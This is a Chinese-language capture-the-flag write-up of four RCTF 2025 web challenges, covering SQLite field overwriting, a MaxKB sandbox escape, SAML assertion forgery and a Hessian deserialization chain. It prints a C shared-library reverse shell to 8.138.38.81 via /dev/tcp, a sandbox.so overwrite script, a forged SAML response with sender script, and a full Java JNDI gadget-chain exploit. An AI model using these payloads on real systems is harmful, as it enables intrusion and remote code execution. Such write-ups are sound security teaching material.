photographer
看到要求 Auth::type() 小于 0 才能拿到 flag。



而 $user['type'] 是从 findById 里取出来的。

findById 是个左联查询,返回的不只是 user 的信息,还有 photo 的信息。



题目用的是 SQLITE3_ASSOC 模式,也就是返回以列名索引的数组。
这里有个前置知识:

而 user 和 photo 均有 type 字段。

RCTF 2025 Web 赛题涉及 SQL 注入、沙箱逃逸、SSO 认证绕过及 Java 反序列化漏洞。Photographer 题利用 SQLite 左联查询导致 type 字段覆盖;RootKB 题通过 LD_PRELOAD 劫持沙箱 SO 文件;Auth 题利用 SAML 响应结构及 JS 类型转换绕过权限校验;maybe_easy 题基于白名单 Hessian 反序列化配合 Spring AOP 链实现 JNDI 注入。文章提供了详细的漏洞分析与 Payload 构造代码。
看到要求 Auth::type() 小于 0 才能拿到 flag。



而 $user['type'] 是从 findById 里取出来的。

findById 是个左联查询,返回的不只是 user 的信息,还有 photo 的信息。



题目用的是 SQLITE3_ASSOC 模式,也就是返回以列名索引的数组。
这里有个前置知识:

而 user 和 photo 均有 type 字段。


微信公众号「极客日志」,在微信中扫描左侧二维码关注。展示文案:极客日志 zeeklog
使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online
查找任何按下的键的javascript键代码、代码、位置和修饰符。 在线工具,Keycode 信息在线工具,online
JavaScript 字符串转义/反转义;Java 风格 \uXXXX(Native2Ascii)编码与解码。 在线工具,Escape 与 Native 编解码在线工具,online
使用 Prettier 在浏览器内格式化 JavaScript 或 HTML 片段。 在线工具,JavaScript / HTML 格式化在线工具,online
Terser 压缩、变量名混淆,或 javascript-obfuscator 高强度混淆(体积会增大)。 在线工具,JavaScript 压缩与混淆在线工具,online
将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online

photo 的 type 字段是从 mime-type 里取的。

先随便注册个用户,访问 /compose 路由上传背景图片。

Content-Type 改为 -1。

设置背景图片。

再访问 superadmin.php 拿到 flag。

题目是最新版的。

创建工具处可以在线运行 python 代码。


但有些限制。


2.3.1 版本 tool_code.py 多了个 LD_PRELOAD。


可以尝试去覆盖/opt/maxkb-app/sandbox/sandbox.so。只要 LD_PRELOAD 设置了该 .so,init() 就会在程序启动时自动调用。
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void payload() {
unsetenv("LD_PRELOAD");
system("bash -c \"bash -i >& /dev/tcp/8.138.38.81/1337 0>&1\"");
}
__attribute__((constructor)) void init() {
if (getenv("LD_PRELOAD") != NULL) {
payload();
}
}
gcc -shared -fPIC -o Z3.so Z3.c

然后覆写。
def payload():
import base64
import os
base64data="xxxx"
data = base64.b64decode(base64data)
with open("/opt/maxkb-app/sandbox/sandbox.so", "wb") as f:
f.write(data)
return 1
再随便运行个代码。
def payload():
print(1)

成功反弹 shell。

SSO(Single Sign-On,单点登录)是一种身份验证机制,允许用户使用一组凭据(如用户名和密码)登录一次后,即可访问多个相互信任的应用系统或服务,而无需在每个系统中重复登录。
当用户首次登录时,由一个统一的认证服务器(称为身份提供者,Identity Provider,简称 IdP)验证用户身份,并生成一个安全令牌(如 SAML 断言、OAuth 2.0 Token 或 OpenID Connect ID Token)。之后,用户访问其他受信任的应用(称为服务提供者,Service Provider,SP)时,这些应用会通过该令牌确认用户身份,从而免去再次输入账号密码的过程。

用的是 SAML 认证。

先来看怎么拿 flag。
sp 部分:当 session 中的 email 字段为 [email protected] 才会获得 flag。

该字段从 SAML 里解析得来。
再来看 idp 部分:可以用 js 的 parseInt 特性绕过对 type 为 0 的限制。


先注册。

正常是只能注册一个 regular user,普通用户。将 type 设为随便一个字符串。

成功绕过,拿到一个 fullaccess 的用户。

访问 flag 路由后返回了 samlForm。

存在 email 字段。

接收方是/saml/acs。

接下来修改 post 的 SAMLResponse。
<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" Version="2.0" IssueInstant="2025-11-20T11:13:40.594Z" Destination="http://192.168.233.1:26000/saml/acs">
<saml:Issuer>http://192.168.233.1</saml:Issuer>
<samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status>
<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" Version="2.0" IssueInstant="2025-11-20T11:13:40.594Z">
<saml:Issuer>http://192.168.233.1</saml:Issuer>
<Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><Reference URI="#_934f82968d8e7a26eda0272da9f92ade6175dfc5cd"><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>PPAY1fr+00rDryalemULp6kfp9hzzNUH47Q+w+zjueE=</DigestValue></Reference></SignedInfo><SignatureValue>CZBCZNRGdqwwNTruJ4wRd6J9zf1gRuXaHdR6AKPqxxiIjpGvg1Zc5qaPA3xA1fZYSXAgoL2pAplgTmVJDQzAPT9zbksOUPfWy74QiFbGFegLF0RP/AUrlUl1QamJ084yGxht2a2TAvWA71FTn2xqQ7kORtA9BjXbwJblg9PxP2AJzRRRFx121NGu7mGEiCjVd4qF/QgMSlQzy8sdNE1MhYFAhKq+qAbFQuf1c7xw3/dbVFY39x8VD8LiXCe0rr5s46+cwxXyMVbfhZLqYV3aa+m/hXtUMe0tGMyNdaRZmdeQp4020OBTzgCkXvky30cdS1z4caC+lXoL4IXhtM1+4w==</SignatureValue></Signature>
<saml:Subject><saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">[email protected]</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="2025-11-20T11:18:40.594Z" Recipient="http://192.168.233.1:26000/saml/acs"/></saml:SubjectConfirmation></saml:Subject>
<saml:Conditions NotBefore="2025-11-20T11:13:40.594Z" NotOnOrAfter="2025-11-20T11:18:40.594Z"><saml:AudienceRestriction><saml:Audience>http://192.168.233.1:26000/</saml:Audience></saml:AudienceRestriction></saml:Conditions>
<saml:AuthnStatement AuthnInstant="2025-11-20T11:13:40.594Z" SessionIndex="_9e36eb0434011848bc9c34ae86d090eac238fe1c1a"><saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef></saml:AuthnContext></saml:AuthnStatement>
<saml:AttributeStatement>
<saml:Attribute Name="uid" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue>2</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="username" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue>Z3r4y</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue>[email protected]</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="displayName" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue>123</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue>user</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="department" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue>123</saml:AttributeValue></saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
初始为 Response 结构,包含原始带签名的 Assertion。修改后应为插入伪造无签名 Assertion 的结构,将 email 改为 [email protected]。
改了之后发个包就行。
import requests
# 目标 ACS 地址
acs_url = "http://192.168.233.1:26000/saml/acs"
# SAMLResponse 值(Base64 编码的 XML)
saml_response = "xxx"
# 构造表单数据
data = { "SAMLResponse": saml_response }
# 发送 POST 请求
try:
response = requests.post(acs_url, data=data)
print(f"[+] 状态码:{response.status_code}")
print(f"[+] 响应头:{response.headers}")
print(f"[+] 响应体预览:\n{response.text[:500]}...")
except requests.exceptions.RequestException as e:
print(f"[-] 请求失败:{e}")

一个白名单 Hessian 反序列化,感觉一眼最后要打 JNDI 的。

最终应该是调 org.springframework.jndi.support.SimpleJndiBeanFactory.lookup()。
再往下看,题目自定义了一个 Maybe 类,重写了 compareTo 方法。
调用 handler 的 invoke 方法。

Hessian 作为入口其实触发的就是 map.put,map.put 会触发 TreeMap.compareTo,因为白名单的限制,不能用 java.beans.EventHandler。
找其他白名单里的 handler 利用。


找到 ObjectFactoryDelegatingInvocationHandler。
参考文章:Spring1 链——三层动态代理。
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
String methodName = method.getName();
if (methodName.equals("equals")) {
return proxy == args[0];
} else if (methodName.equals("hashCode")) {
return System.identityHashCode(proxy);
} else if (methodName.equals("toString")) {
return this.objectFactory.toString();
} else {
try {
return method.invoke(this.objectFactory.getObject(), args);
} catch (InvocationTargetException var6) {
throw var6.getTargetException();
}
}
}
走到 objectFactory.getObject()。白名单里全局搜一下 getObject()。

搜到 ObjectFactoryCreatingFactoryBean$TargetBeanObjectFactory.getObject()。调用 getBean。

再回过头来看,org.springframework.jndi.support.SimpleJndiBeanFactory.lookup() 可以被其 getBean 方法触发。

成功走通链子。最终 payload:
package com.rctf.server.exp;
import com.rctf.server.tool.HessianFactory;
import com.rctf.server.tool.Maybe;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.beans.factory.ObjectFactory;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.TreeMap;
public class exp {
public static void main(String[] args) throws Exception {
String jndiUrl = "ldap://8.138.38.81:1339/suibian";
// 创建 SimpleJndiBeanFactory 并设置 JNDI URL
SimpleJndiBeanFactory beanFactory = new SimpleJndiBeanFactory();
beanFactory.setShareableResources(jndiUrl);
// 构造 TargetBeanObjectFactory
Class<?> tboFactoryClass = Class.forName("org.springframework.beans.factory.config.ObjectFactoryCreatingFactoryBean$TargetBeanObjectFactory");
Constructor<?> tboFactoryConstructor = tboFactoryClass.getDeclaredConstructor(BeanFactory.class, String.class);
tboFactoryConstructor.setAccessible(true);
ObjectFactory<?> objectFactory = (ObjectFactory<?>) tboFactoryConstructor.newInstance(beanFactory, jndiUrl);
// 构造 ObjectFactoryDelegatingInvocationHandler
Class<?> ofdihClass = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
Constructor<?> ofdihConstructor = ofdihClass.getDeclaredConstructor(ObjectFactory.class);
ofdihConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) ofdihConstructor.newInstance(objectFactory);
Maybe maybe = new Maybe(handler);
TreeMap treeMap = makeTreeMap(maybe, maybe);
String serialize = HessianFactory.serialize(treeMap);
System.out.println(serialize);
HessianFactory.deserialize(serialize);
}
public static TreeMap makeTreeMap(Object v1, Object v2) throws Exception {
TreeMap<Object,Object> m = new TreeMap<>();
setFieldValue(m, "size", 2);
setFieldValue(m, "modCount", 2);
Class<?> nodeC = Class.forName("java.util.TreeMap$Entry");
Constructor nodeCons = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object node = nodeCons.newInstance(v1, new Object[0], null);
Object right = nodeCons.newInstance(v2, new Object[0], node);
setFieldValue(node, "right", right);
setFieldValue(m, "root", node);
return m;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if (field != null) field.setAccessible(true);
else if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName);
return field;
} catch (NoSuchFieldException e) {
if (!clazz.getSuperclass().equals(Object.class)) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}
}
